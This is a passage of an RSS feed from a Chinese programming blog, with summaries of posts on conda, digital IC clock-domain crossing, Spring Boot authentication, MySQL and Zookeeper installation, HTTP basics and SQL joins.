      <description>有时创建了新的虚拟环境之后才发现，有些包并不支持现有的python版本这就很麻烦。常用的改变这一窘境的方法就是重新建一个虚拟环境，但是之前花了很多时间装了那么多包，这不就浪费了嘛。最好的一种做法就是在当前环境下降低版本，代码如下：&#xA;conda install python=版本号 这就是替换几个包的问题，换起来很快。其实换完之后会发现，之前安装的包也都没有了。很尴尬，但是也比重新删除安装简单。&#xA;conda 创建虚拟环境和对虚拟环境的管理等操作可以参考博文【Conda管理】Conda管理虚拟环境常用的操作整理的很详细。&#xA;参考文献 [1]ubuntu系统anaconda降级python3.7为python3.6</description>
    </item>
    <item>
      <title>（数字ic）CDC设计实例 - ICG ：integrate Clock Gating Cell</title>
      <link>https://bchobby.github.io/posts/d70e69d8d69857af09614de808fbb5c5/</link>
      <pubDate>Tue, 10 May 2022 11:31:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d70e69d8d69857af09614de808fbb5c5/</guid>
      <description> CDC设计实例 - ICG ：integrate Clock Gating Cell 1、Latch原理2、ICG消除毛刺原理1）en信号中的毛刺出现在clk低电平期间，如下图所示2）en信号出现在clk高电平期间，如下图所示 3、SoC系统中时钟切换应用场景 1、Latch原理 锁存器（latch）：所谓锁存器，就是输出端的状态不会随输入端的状态变化而变化，仅在有锁存信号时输入的状态才被保存到输出，直到下一个锁存信号到来时才改变。&#xA;2、ICG消除毛刺原理 Clock gating cell 可以由与门或者或门构成，但是使用这两者会产生Glitch，因此目前都采用ICG（Integrated clock gating cell)，其结构如下&#xA;ICG由一个latch（低电平有效）和一个与门（gating cell，也可以是或门）组成。ICG 可以过滤掉en信号中的毛刺信号，其原理如下：&#xA;对于毛刺信号Glitch，大概可以分为两种情况：&#xA;1）en信号中的毛刺出现在clk低电平期间，如下图所示 由上图可以发现，en信号在clk低电平期间产生了毛刺，并且该latch是低电平有效，所以会采集到该毛刺信号，如信号enl中所示，但是由于该ICG的gating cell采用的是与门，此时cl&#xA;为低电平，即使enl有毛刺信号，也不能通过与门，因此该毛刺信号被过滤。&#xA;2）en信号出现在clk高电平期间，如下图所示 由于ICG中的latch是低电平有效，所以在clk高电平期间，latch采集不到en中的毛刺信号，因此该毛刺信号被过滤掉了。&#xA;综合以上，可以发现，无论en中的毛刺信号出现在clk低电平或者是高电平期间，ICG可以有效过滤掉en信号中的毛刺，得到好的clk波形！具体的ICG电路及其波形图如下所示&#xA;3、SoC系统中时钟切换应用场景 </description>
    </item>
    <item>
      <title>【翻译】比较4个NodeJS Serverless App的框架</title>
      <link>https://bchobby.github.io/posts/3d0e9f5bd7820a1d9505cf18da4e873d/</link>
      <pubDate>Tue, 10 May 2022 11:19:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d0e9f5bd7820a1d9505cf18da4e873d/</guid>
      <description>【原作者】Gedalyah Reback&#xA;【原文链接】Comparing Frameworks for Node.js Serverless Apps&#xA;【推荐阅读】12 Best Nodejs Frameworks for App Development in 2022&#xA;Express.js- Express for EveryoneKoa.js- Next Generation Node.js FrameworkMeteor.js- One Application, One LanguageSocket.io- Chat Apps Made Easy with Socket.ioNest.js- A Nestling of CodeSails.js- Modernized Data-Oriented MVC Framework Total.js- A Complete FrameworkHapi.js- Secure than EverFeather.js- F for FlexibleLoopback.js- Better ConnectivityAdonis.js-The Dependable FrameworkDerby.js-The Racer 正文:&#xA;多年来，云部署变得更加复杂。这是他们的责任，但这不一定是错误的——现在你可以做的比过去多得多。随着时间的推移，每一项新服务都变得越来越容易，这种能力的蓬勃发展确实归功于它自己。AWS、谷歌和 Azure 开始提供减轻本地计算基础设施负担的产品。很快，用户和提供商就被需求和新云服务的激增所淹没。&#xA;AWS 于 2002 年推出，然后开始提供用自己的基础设施替换本地基础设施。在谷歌和微软推出自己的产品后，Docker 于 2013 年首次亮相，以组织（“容器化”）越来越多的开发人员开始使用的服务。Kubernetes 很快就出现了，从那时起，就有大量的工具试图理解 Kubernetes 本身。显然，这对于新手来说会感到困惑，但对于刚开始使用云计算的新手和老手来说，这足以说明这是需要组织的大量基础架构。</description>
    </item>
    <item>
      <title>【Pytorch基础】torch.nn.MSELoss损失函数</title>
      <link>https://bchobby.github.io/posts/2f6f63feca4ac354de5a90564e35b178/</link>
      <pubDate>Tue, 10 May 2022 11:18:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f6f63feca4ac354de5a90564e35b178/</guid>
      <description>MSE: Mean Squared Error（均方误差）&#xA;含义：均方误差，是预测值与真实值之差的平方和的平均值，即：&#xA;M S E = 1 N ∑ i = 1 n ( x i − y i ) 2 \begin{aligned} MSE =\cfrac {1}{N}\sum_{i=1}^n(x_i-y_i)^2 \end{aligned} MSE=N1​i=1∑n​(xi​−yi​)2​&#xA;但是，在具体的应用中跟定义稍有不同。主要差别是参数的设置，在torch.nn.MSELoss中有一个reduction参数。reduction是维度要不要缩减以及如何缩减主要有三个选项：&#xA;‘none’:no reduction will be applied.‘mean’: the sum of the output will be divided by the number of elements in the output.‘sum’: the output will be summed. 如果不设置reduction参数，默认是’mean’。&#xA;下面看个例子：&#xA;import torch import torch.nn as nn a = torch.tensor([[1, 2], [3, 4]], dtype=torch.</description>
    </item>
    <item>
      <title>SpringBoot用户鉴权以及统一获取用户信息</title>
      <link>https://bchobby.github.io/posts/d3d42742b103e427a9915e8e7f6d1f0c/</link>
      <pubDate>Mon, 09 May 2022 22:37:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d42742b103e427a9915e8e7f6d1f0c/</guid>
      <description>目录&#xA;背景&#xA;解决方案&#xA;方法一：手动调用方法进行解析&#xA;方法二：拦截器+方法参数解析器&#xA;步骤&#xA;WebMvcConfigurer配置权限拦截器和方法参数解析器&#xA;自定义HandlerInterceptor进行权限校验，token解析&#xA;自定义@CurrentUser注解，并加入到controller接口中&#xA;自定义HandlerMethodArgumentResolver，将request中的User传给@CurrentUser&#xA;背景 前端调用后端Controller方法时，进入Controller方法后，经常需要获取当前登录用户的信息，便于一些后续的用户操作(比如保存时需要自动填入当前登录用户的用户名)。&#xA;通常的做法是，前端将token信息放入请求头中，后端拿到请求头中的token后，再将token解析成用户信息。&#xA;解决方案 token解析工具类方法&#xA;校验token有效性：boolean isValid = tokenUtils.isValid(token);&#xA;解析token为User：User user = tokenUtils.getUserInfoByToken(token);&#xA;方法一：手动调用方法进行解析 直接在需要使用用户信息的地方调用token解析方法获取User对象。&#xA;方法二：拦截器+方法参数解析器 WebMvcConfigurer + HandlerInterceptor + HandlerMethodArgumentResolver&#xA;步骤 自定义WebMvcConfigurer配置权限拦截器HandlerInterceptor 及方法参数解析器HandlerMethodArgumentResolver。自定义权限拦截器AuthInterceptor拦截所有请求，校验token有效性，并将token解析为User，放到request中。自定义参数注解@CurrentUser，将注解添加到controller的方法参数中。自定义方法参数解析器CurrentUserMethodArgumentResolver，取出request中的User对象，并将User对象赋值给@CurrentUser注解的参数user。 WebMvcConfigurer配置权限拦截器和方法参数解析器 Spring内部的一种配置方法，通过用java代码代替xml配置Bean，可以通过实现WebMvcConfigurer接口自定义一些MVC相关的Handler，Interceptor等。&#xA;@Configuration public class SecurityAutoConfiguration implements WebMvcConfigurer{ @Override public void addInterceptors(InterceptorRegistry registry) { // addInterceptor：添加一个实现HandlerInterceptor了接口的拦截器实例 // addPathPatterns：用于设置拦截器的过滤路径规则 registry.addInterceptor(getAuthInterceptor()).addPathPatterns(&#34;/**&#34;); } @Bean public AuthInterceptor getAuthInterceptor() { // 声明AuthInterceptor拦截器Bean，需实现HandlerInterceptor接口 return new AuthInterceptor(); } @Bean public CurrentUserMethodArgumentResolver currentUserMethodArgumentResolver() { // 声明自定义方法参数解析器 return new CurrentUserMethodArgumentResolver(); } @Override public void addArgumentResolvers(List&amp;lt;HandlerMethodArgumentResolver&amp;gt; argumentResolvers) { // 添加CurrentUserMethodArgumentResolver参数解析器 argumentResolvers.</description>
    </item>
    <item>
      <title>基于卷积神经网络的高光谱分类 CNN&#43;高光谱&#43;印度松数据集</title>
      <link>https://bchobby.github.io/posts/061f48be6daef1c089006e48ad8bd715/</link>
      <pubDate>Mon, 09 May 2022 20:45:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/061f48be6daef1c089006e48ad8bd715/</guid>
      <description>基于卷积神经网络的高光谱分类 一、研究现状 只考虑到高光谱图像的光谱特征，即：&#xA;1、提取特征(小波变换、Gabor纹理分析、形态学剖面)&#xA;2、利用分类方法分类(支持向量机、决策树、随机森林、神经网络)&#xA;缺点：这些特征提取方法需要依据先验知识手动设置，且通过设定参数提取的特征信息通常只能&#xA;​ 用于区分特定的对象，缺乏灵活性，并且分类性能无法进一步提升。&#xA;本文提出：卷积神经网络的高光谱分类&#xA;​ 优点：能同时提取图像中的1）光谱信息；2）空间信息；3）能够自动的学习和优化网络中的参数，&#xA;​ 而不需要过多的人工调整&#xA;二、高光谱图像 ​ 高光谱与RGB三通道图像的最大不同是，其具有上百个通道（就是一个三维的数据立方体）假如一个N X N X B 的图像，RGB图像的B维度有三个通道，高光谱图像的B维度有上百个通道(他的光谱维度)&#xA;​ 高光谱的三维：二维几何空间及一维光谱信息&#xA;​ 光谱维度展开不仅可以获得图像上每个点的光谱数据，还可以获得任一个谱段的影像信息&#xA;三、降维 PCA(主成分分析) ​ 主成分分析（Principal Component Analysis，简称为 PCA）PCA 变换又称为霍特林变换（hotelling transform）和K-L （karhunen-loeve）变换。&#xA;是一种用于多变量数据信息提取的降维算法(提取数据的主要特征分量)，离散 K-L 变换是理论基础，PCA 也被称为特征脸方法。其主要思想是通过计算不同维度图像训练样本与各维训练样本均值的差值之间的相关性，评估各维空间特征表征整体空间特征的能力，再将所有图像样本最大特征值对应的特征向量投影到较低维度空间，最终实现降维。&#xA;算法具体描述如下：&#xA;1、 数据预处理。假设有 M 维图像数据，I1, I2, … … I𝑀，作为训练样本，每个图像由 m 行和 n 列像素组成。假设多维信息各维度数据不相关，将所有图像转换为图像向量Γ1, Γ2, … … Γ𝑀，并且每个图像向量的维度为m × n。&#xA;2、计算特征空间。&#xA;3、 投影与相似性检验。&#xA;四、CNN ​组成：一般包括全连接层、卷积层、&amp;lt;激活函数层&amp;gt;、池化层（有平均池化、最大池化两种）有了这些层使得卷积神经网络有了可以拟合各种函数的能力。&#xA;作用：通过卷积运算，将图像进行降维，使其可以进行训练&#xA;卷积操作示意(通过3x3的卷积核进行特征提取)&#xA;1）卷积层 通过卷积核(kernel)和原始图像上等同大小的区域进行卷积运算，通过计算得到特征图（与图像等同大小的尺寸的像素点进行对应相乘，再将相乘结果相加得到特征图上的特征值）&#xA;卷积核的参数不同提取到的特征不同，一个卷积层可以有多个卷积核，低层的卷积层提取到的是边框、颜色等简单特征；中层提取到低层特征的集合；高层提取到图像的全局特征&#xA;2）池化层（最大池化Max-Pooling） 池化有：最大池化，均值池化</description>
    </item>
    <item>
      <title>vue使用uuid，请求头headers设置uuid</title>
      <link>https://bchobby.github.io/posts/e1dca5004d35b6958825815460c88754/</link>
      <pubDate>Mon, 09 May 2022 20:36:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1dca5004d35b6958825815460c88754/</guid>
      <description>下载uuid，导入文件 npm install uuid 使用 在src包下创建utils包，存放uuid_token.js文件.在uuid_token文件下进行配置&#xA;调用 import { v4 as uuidv4 } from &#39;uuid&#39;; 引用 uuidv4() import { v4 as uuidv4 } from &#39;uuid&#39;; // 要生成一个随机字符串，且每次执行不能发生变化，游客身份持久存储 export const getUUID = () =&amp;gt; { // 先从本地存储获取uuod let uuid_token = localStorage.getItem(&#39;UUIDTOKEN&#39;); // 如果没有则生成 if (!uuid_token) { // 生成游客临时身份 uuid_token = uuidv4(); // 本地存储一次 localStorage.setItem(&#39;UUIDTOKEN&#39;, uuid_token); } // 切记要有返回值，没有则是undefined return uuid_token; } 在其他文件中引用uuid 本次我是把生成的uuid放在store中的detail包下，所以后面将uuid放在请求头中会出现调用此包的代码&#xA;// 游客身份的模块，生成随机字符串，不能再改变 import { getUUID } from &#34;</description>
    </item>
    <item>
      <title>使用 IDEA 将本地jar上传到本地maven仓库</title>
      <link>https://bchobby.github.io/posts/905700be6858f52c5b69562523880b32/</link>
      <pubDate>Mon, 09 May 2022 19:27:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/905700be6858f52c5b69562523880b32/</guid>
      <description>文章目录 前言IDEA中的操作步骤创建一个 Maven 运行配置编辑 Maven 配置 运行 前言 应用场景：&#xA;在日常开发中，有时候会用到别人的 jar 包，但是又想用 Maven 管理。&#xA;就需要将该 jar 上传到 maven 仓库。&#xA;本文主要讲一下使用开发工具 IDEA 上传的操作步骤。【首先，需要确认你的项目空间是配置了 maven 的】&#xA;IDEA中的操作步骤 创建一个 Maven 运行配置 在开发工具的导航栏中，点击选择配置：&#xA;选择编辑配置：&#xA;在配置界面点击左上角的加号，随后选择增加一个maven运行配置：&#xA;编辑 Maven 配置 上图中的含义：&#xA;Name 对应的是本配置的名字、用处或功能。&#xA;Working directory 表示运行命令的位置，一般选择项目的根路径（即pom.xml 文件所在的位置）。&#xA;Command line 表示命令行参数。&#xA;本次上传 jar 到 maven 仓库，用到的命令行参数如下（所有参数以空格隔开，这里为了方便讲解，做了换行处理）：&#xA;install:install-file -Dfile=C:/Users/FengJinSong/Downloads/kuaishou-merchant-open-sdk-release_open_kwaishop_sdk-1.0.150.jar -DgroupId=kuaishou -DartifactId=kuaishou-merchant-open-sdk-release_open_kwaishop_sdk -Dversion=1.0.150 -Dpackaging=jar 其中的含义是：&#xA;● -Dfile 表示当前要上传的jar包所在的位置&#xA;● -DgroupId 表示当前 jar 对应的 groupId&#xA;● -DartifactId 表示的是当前 jar 对应的 artifactId</description>
    </item>
    <item>
      <title>linux系统添加中文输入法</title>
      <link>https://bchobby.github.io/posts/4bfcb36cc027e665ef293b79f6fa2551/</link>
      <pubDate>Mon, 09 May 2022 16:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bfcb36cc027e665ef293b79f6fa2551/</guid>
      <description>1）配置阿里云镜像源 下载新的 CentOS-Base.repo 到 /etc/yum.repos.d/&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo 运行 yum makecache 生成缓存&#xA;yum makecache 非阿里云ECS用户会出现 Couldn’t resolve host ‘mirrors.cloud.aliyuncs.com’ 信息，不影响使用。用户也可自行修改相关配置: eg:&#xA;sed -i -e &#39;/mirrors.cloud.aliyuncs.com/d&#39; -e &#39;/mirrors.aliyuncs.com/d&#39; /etc/yum.repos.d/CentOS-Base.repo 具体参考阿里云官网：https://developer.aliyun.com/mirror/centos&#xA;2）安装中文输入安装包 yum search pinyin yum install ibus-libpinyin.x86_64 -y 3）linux在设置中添加中文 设置完后，按shift就可以切换中英文了</description>
    </item>
    <item>
      <title>SQL 入门之第一讲——MySQL 8.0.29安装教程(windows 64位)</title>
      <link>https://bchobby.github.io/posts/afdd23e5a9e0149bdc95d04b554e2e5c/</link>
      <pubDate>Mon, 09 May 2022 15:19:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afdd23e5a9e0149bdc95d04b554e2e5c/</guid>
      <description>1.先去官网直接下载解压包进行安装&#xA;https://dev.mysql.com/downloads/mysql/&#xA;下载完成后，进行解压到想要的目录下&#xA;2.进行配置初始化的my.ini文件的文件&#xA;解压后的目录是没有这个ini文件，自己新建一个my.ini（新建文本文件，将文件类型改为的.ini）&#xA;写入基本配置： [mysqld] # 设置3306端口 port=3306 # 设置mysql的安装目录 basedir=D:\program Files\MySQL\mysql-8.0.29-winx64 # 允许最大连接数 max_connections=200 # 允许连接失败的次数。 max_connect_errors=10 # 服务端使用的字符集默认为utf8mb4 character-set-server=utf8mb4 # 创建新表时将使用的默认存储引擎 default-storage-engine=INNODB # 默认使用“mysql_native_password”插件认证 #mysql_native_password default_authentication_plugin=mysql_native_password [mysql] # 设置mysql客户端默认字符集 default-character-set=utf8mb4 [client] # 设置mysql客户端连接服务端时默认使用的端口 port=3306 default-character-set=utf8mb4 需要注意的是，配置文件里的路径要和实际存放的路径一致 3.初始化MySQL&#xA;在安装时，需要使用管理员身份运行CMD，否则在安装时会报错&#xA;右键管理员模式打开后，进入mysql的bin目录&#xA;在MySQL目录下的bin目录下执行命令：&#xA;mysqld --initialize --console&#xA;注意保存初始化的密码和账号&#xA;其中root 为账号，localhost为主机地址，Erev&amp;lt;uASDg0J? 为密码（注意不要复制空格）在没有更改密码前，需要记住这个密码，后续登录需要用到。复制密码先保存起来!!! 4.安装MySQL服务 + 启动MySQL 服务&#xA;执行下面的命令：&#xA;mysqld --install [服务名] ###（服务名可以不加默认为mysql）&#xA;这个是不是以管理员模式启动的cmd，会提示无权限进行更改&#xA;这个是以管理员模式启动的cmd，直接成功&#xA;服务安装成功之后通过命令进行启动服务&#xA;net start mysql 安装到启动主要三个步骤：&#xA;1.初始化MySQL2.创建服务3.启动服务&#xA;到这里MySQL已经是安装好了！ 5.</description>
    </item>
    <item>
      <title>unity中return返回</title>
      <link>https://bchobby.github.io/posts/c3fbcb4e4d44f2a22692ee3b38d7176f/</link>
      <pubDate>Mon, 09 May 2022 14:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3fbcb4e4d44f2a22692ee3b38d7176f/</guid>
      <description>return在方法中使用，直接跳出当前方法； 如：执行以下方法最终输出结果：“从5返回”；&#xA;float test1 = 10; string TestReturn() { if (test1 == 10) { if (test1 - 5 == 5) { Debug.Log(&#34;从5返回&#34;); } } Debug.Log(&#34;从10返回&#34;); return &#34;10&#34;; } 如果if判断中，调用方法A，方法A内部有return，执行if判断时，不受方法A内部的return影响； 如：执行以下方法最终输出结果：“从5返回”，“从10返回”；&#xA;float test1 = 10; string TestReturn() { if (test1 == 10) { //if (test1 - 5 == 5) //{ // Debug.Log(&#34;从5返回&#34;); //} TestReturn2(); } Debug.Log(&#34;从10返回&#34;); return &#34;10&#34;; } string TestReturn2() { if (test1 - 5 == 5) { Debug.Log(&#34;从5返回&#34;); return &#34;</description>
    </item>
    <item>
      <title>Http-超文本传输协议-详解</title>
      <link>https://bchobby.github.io/posts/375e551c32709d343ed5a071ae6a2db8/</link>
      <pubDate>Mon, 09 May 2022 14:02:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/375e551c32709d343ed5a071ae6a2db8/</guid>
      <description>一、HTTP基本概念 1.1、Http是什么？ HTTP是 超文本传输协议 分为三个部分&#xA;超文本 它就是超越了普通文本的文本，它是文字、图片、视频等的混合体，最关键有超链接，能从一个超文本跳转到另外一个超文本。&#xA;传输 所谓的「传输」，很好理解，就是把一堆东西从 A 点搬到 B 点，或者从 B 点 搬到 A 点。允许中间有中转或接力&#xA;HTTP 是一个在计算机世界里专门用来在两点之间传输数据的约定和规范。&#xA;协议 HTTP 是一个用在计算机世界里的协议。它使用计算机能够理解的语言确立了一种计算机之间交流通信的规范（两个以上的参与者），以及相关的各种控制和错误处理方式（行为约定和规范）。&#xA;HTTP 是一个在计算机世界里专门在「两点」之间「传输」文字、图片、音频、视频等「超文本」数据的「约定和规范」。&#xA;1.2、HTTP常见 的状态码有哪些？ 1xx ：状态属于提示信息，是协议处理中的一种中间状态，实际上用的比较少&#xA;2xx ：表示服务器成功处理了客户端的请求，也是我们希望看到的状态&#xA;200：成功状态码，一切ok；204: 也是成功状态码，但无响应的body数据；206：应用于 HTTP 分块下载 或 断点续传，表示响应返回的 body 数据 并不是资源的全部，而是一部分，也是成功状态码； 3xx：表示客户端请求的资源发送了变动，需要客户端用新的 URL 重新发送请求获取资源，也就是重定向。&#xA;301：表示永久重定向，说明请求的资源已经不存在了，需改用新的 URL 再次访问。&#xA;302 ：表示临时重定向，说明请求的资源还在，但暂时需要用另一个 URL 来访问。&#xA;301 和 302 都会在响应头里使用字段 Location，指明后续要跳转的 URL，浏览器会自动重定向新的 URL。&#xA;304 ：不具有跳转的含义，表示资源未修改，重定向已存在的缓冲文件，也称缓存重定向，也就是告诉客户端可以继续使用缓存资源，用于缓存控制。 4xx：表示客户端发送的报文有误，服务器无法处理，也就是错误码的含义。&#xA;400：表示客户端请求的报文有错误，但只是个笼统的错误。403 ：表示服务器禁止访问资源，并不是客户端的请求出错。404：表示请求的资源在服务器上不存在或未找到，所以无法提供给客户端。 5xx：表示客户端请求报文正确，但是服务器处理时内部发生了错误，属于服务器端的错误码。&#xA;500：与 400 类型，是个笼统通用的错误码，服务器发生了什么错误，我们并不知道。501：表示客户端请求的功能还不支持，类似“即将开业，敬请期待”的意思。502：通常是服务器作为网关或代理时返回的错误码，表示服务器自身工作正常，访问后端服务器发生了错误。503：表示服务器当前很忙，暂时无法响应服务器，类似“网络服务正忙，请稍后重试”的意思。 1.3、HTTP常见的字段有哪些 host&#xA;客户端发送请求时，用来指定服务器的域名。 ---- Host: www.</description>
    </item>
    <item>
      <title>CentOS7搭建Zookeeper集群</title>
      <link>https://bchobby.github.io/posts/f9018cd7c630cca7b0b5a0be361a61d3/</link>
      <pubDate>Mon, 09 May 2022 13:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9018cd7c630cca7b0b5a0be361a61d3/</guid>
      <description>目录&#xA;一、CenOS7安装Zookeeper单节点&#xA;二、Zookeeper集群搭建&#xA;1、同一台服务器搭建伪Zookeeper集群&#xA;2、3台服务器搭建Zookeeper集群&#xA;首先，zookeeper安装依赖jdk环境，可以参考：CentOS7安装jdk1.8-源码安装、openjdk安装、docker安装&#xA;一、CenOS7安装Zookeeper单节点 Zookeeper的下载地址为：https://dlcdn.apache.org/zookeeper/，根据自己的需要选择对应的版本，这里将几个版本进行了下载（但是一定下载-bin.tar.gz 的包）：&#xA;如果可以不连外网，则可以使用上面的安装包先上传到对饮服务器位置；如果可以连外网则，先下载安装包： wget https://dlcdn.apache.org/zookeeper/zookeeper-3.7.0/apache-zookeeper-3.7.0-bin.tar.gz&#xA;解压安装包：tar -zxvf apache-zookeeper-3.7.0-bin.tar.gz 跳转到解压包下的config目录下，将sample的配置包复制一份:&#xA;cp zoo_sample.cfg zoo.cfg&#xA;修改配置的信息：&#xA;tickTime =2000 zookeeper与客户端的心跳时间;&#xA;initLimit=10 LF初始通信时限;&#xA;syncLimit =5 LF同步通信时限;&#xA;dataDir=/tmp/zookeeper/ 数据文件目录+数据持久化路径;&#xA;clientPort=2181 客户端连接端口;&#xA;原则上不用修改了，配置已经为如下所示：&#xA;记得开启CentOS7防火墙端口或关闭防火墙，如果是阿里云、华为云服务器等自行在 安全规则组中添加对应端口&#xA;启动zookeeper：./zkServer.sh start&#xA;关闭zookeeper：./zkServer.sh stop&#xA;二、Zookeeper集群搭建 Zookeeper集群为了防止脑裂，需要将节点树设置为奇数，这里建议设置为3台。&#xA;info：脑裂就是为了防止因为网络等问题照成两个集群同时工作照成使用数据错误的问题，这样的结果本身比Zookeeper集群不能对外工作更严重，如果是集群则在Zap协议选举时，需要半数以上的节点投票，则不可能出现脑裂的情况&#xA;1、同一台服务器搭建伪Zookeeper集群 类似上面单体服务一样，上传并且解压后得到的目录如下：&#xA;此时可以进入下面的conf目录，复制 zoo.cfg配置文件，这样下面再copy节点后都有配置文件了&#xA;将解压文件负责三分作为三个节点：&#xA;cp -R apache-zookeeper-3.7.0-bin zookeeper-1 cp -R apache-zookeeper-3.7.0-bin zookeeper-2 cp -R apache-zookeeper-3.7.0-bin zookeeper-3 分别在三个节点下创建data数据目录，如下：&#xA;mkdir /home/mosty/zookeeper/zookeeper-1/data mkdir /home/mosty/zookeeper/zookeeper-2/data mkdir /home/mosty/zookeeper/zookeeper-3/data 然后分别在三个数据节点目录下创建文件 myid， 并且写入对应的值服务id，比如节点3如下：</description>
    </item>
    <item>
      <title>SQL入门之第十一讲——OUTER JOIN 外连接</title>
      <link>https://bchobby.github.io/posts/1f907a139bb6c45944d7eec45b473c04/</link>
      <pubDate>Mon, 09 May 2022 11:20:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f907a139bb6c45944d7eec45b473c04/</guid>
      <description>外连接是左外连接（LEFT OUTER JOIN），右外连接（RIGHT OUTER JOIN），全外连接（FULL OUTER JOIN）的统称。&#xA;一般情况下直接忽视掉OUTER就可以，直接统称：&#xA;左外连接为：左连接（LEFT JOIN）右外连接为：右连接（RIGHT JOIN）全外连接为：全连接（FULL JOIN） 左连接和右连接，在结果中除了交集，还包含左/右表中的全部记录。&#xA;具体查看图片会比较清楚点：&#xA;1. 左连接（LEFT JOIN）&#xA;定义：左连接就是将JOIN前面的表中所有记录都展示出来。 实例1：将学生表和教师表通过教师编号Tid连接起来&#xA;select * from teachers as t left join students as s on t.Tid = s.Tid 执行结果：&#xA;从结果上看，将教师表中全部的教师都查询出来了，对于学生表中对应不上的，以Null填充 2 . 右连接（RIGHT JOIN）&#xA;定义：右连接就是将JOIN后面的表中所有记录都展示出来。跟左连接是对应互通的。 例如，还是将第一个实例中的teachers 表 和 students 表 进行互换，再将LEFT JOIN 改成RIGHT JOIN，可以看到执行的结果，输出的记录是一样的。&#xA;实例2：将学生表和教师表通过教师编号Tid连接起来&#xA;select * from students as s right join teachers as t on s.Tid = t.Tid 执行结果：&#xA;可以看到所输出的记录是一样的，唯一的区别是在右连接中：&#xA;students 表中的（Sid、Sname）在前面Teachers表中的（Tid、Tname）在后面 3 .</description>
    </item>
    <item>
      <title>（数字ic）CDC跨时钟域可能出现的问题及解决办法总结</title>
      <link>https://bchobby.github.io/posts/c7b9c174f5e0aa7bd39df30dfcde5567/</link>
      <pubDate>Mon, 09 May 2022 10:45:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7b9c174f5e0aa7bd39df30dfcde5567/</guid>
      <description>CDC跨时钟域可能出现的问题及解决办法总结 1、CDC基本概念2、SOC中有哪些跨时钟域的问题？ 1、CDC基本概念 时钟域（Clock Domain）：时钟域为由单个时钟或具有恒定相位关系的时钟驱动的设计部分。换句话说，时钟域就是时钟信号的势力范围&#xA;且一个时钟域中只能存在一个时钟信号，而一个时钟信号最多可以对应两个时钟域。&#xA;多个时钟来自不同的来源，而由这些时钟驱动的逻辑单元部分为时钟域，这些异步时钟域之间的接口信号称为时钟域交叉(CDC)路径。&#xA;如图一，divCLK是由CLK分频得到的，所以divCLK和CLK为同步时钟，也是属于同一个时钟域的。&#xA;如图二，DA信号被认为是一个异步信号进入时钟领域，即CLKA和CLKB之间不存在恒定的相位和时间关系。&#xA;2、SOC中有哪些跨时钟域的问题？ problem1：亚稳态&#xA;problem2：快时钟域到慢时钟域数据保持的问题&#xA;problem3：重新聚合问题（Reconvergence of Synchronized Signals）（数据恢复问题）&#xA;problem4：多比特数据同步问题&#xA;problem5：异步复位 同步释放&#xA;solution1：&#xA;（比如从AHB总线传输信号到APB总线，由于各个接口的时钟频率不同，因此可能会存在跨时钟域的问题）&#xA;产生原因：&#xA;在同步系统中，输入信号总是系统时钟同步，能够达到寄存器的时序要求，所以亚稳态不会发生。亚稳态问题通常发生在一些跨时钟域信号传输以及异步信号采集上。&#xA;1）在跨时钟域信号传输时，由于源寄存器时钟和目的寄存器时钟相移未知，所以源寄存器数据发出数据，数据可能在任何时间到达异步时钟域的目的寄存器，所以无法保证满足目的寄存器Tsu和Th的要求；&#xA;2）在异步信号采集中，由于异步信号可以在任意时间点到达目的寄存器，所以也无法保证满足目的寄存器Tsu和Th的要求；&#xA;solution2：&#xA;将快时钟域的数据延迟相应的拍数（快时钟域比慢时钟域快的频率），如problem2图中，clkA是clkB的2倍，那么就要将数据A扩展成两个周期，即加入一个寄存器。&#xA;solution3：&#xA;产生原因：&#xA;如果多个信号从一个时钟域进入另外一个时钟域，然后这些信号在目标时钟域中又聚合到一起，那么就有可能因为信号 的重新聚合导致电路功能上的异常。如图，一旦同步完成，同步器之外的结构仍然很重要。设计必须确保同步信号不重新聚合（若聚合会产生功能错误），后同步逻辑可能会导致DB信号出现Glitch。原本IN1和IN2转换时钟域后，期望得到的值是2’b00和2’b11，但由于IN1和IN2到达CLKB时钟域的时间有差异，实际得到的值是2’b00、2’b10和2’b11，最终导致后继电路功能出现问题。&#xA;信号X和信号Y进行跨时钟域传输两者同时从0变1，由于delay A和delayB的不同，可能在目的时钟域的第一个寄存器采样X为1，采样Y为0，第二个周期时，第一个寄存器采样X为1，Y为1，那么打两拍之后，X比Y提前一个周期为1的状态就会一直传递下去（如图），但实际上在原时钟域X和Y是同时从0到1翻转的。所以在跨时钟域传输多bit数据时，一次我们只允许数据的1bit发生翻转。不允许多bit发生翻转&#xA;solution4：&#xA;Handshake：（MUX同步）即源时钟域发出一个1bit的请求信号（req），然后经过同步化处理后，将源时钟域的信号传输至目的时钟域，然后目的时钟域接受到数据后，反馈出一个完成信号（res）。多bit数据同步仅将一个信号a_en做两级同步，使得输出的b_en作为使能信号，若为1，才将多比特数据d[0]-d[7]传输过去，若为0，就不传输，这样就不用每一个比特都加两级触发器了。&#xA;FIFO：适用于大数量的多比特数据传输&#xA;solution5：&#xA;异步复位同步释放优缺点：&#xA;同步复位：当时钟上升沿检测到复位信号，执行复位操作（有效的时钟沿是前提）。always @ ( posedge clk );&#xA;优点：&#xA;a、有利于仿真器的仿真；&#xA;b、可以使所设计的系统成为 100% 的同步时序电路，有利于时序分析，而且可综合出较高的 Fmax；&#xA;c、由于只在时钟有效电平到来时才有效，所以可以滤除高于时钟频率的复位毛刺。&#xA;缺点：&#xA;a、复位信号的有效时长必须大于时钟周期，才能真正被系统识别并完成复位任务。同时还要考虑诸如 clk skew 、组合逻辑路径延时 、复位延时等因素（所以复位信号有时需要脉冲展宽，用以保证时钟有效期间有足够的复位宽度）；&#xA;b、由于大多数的逻辑器件的目标库内的 DFF 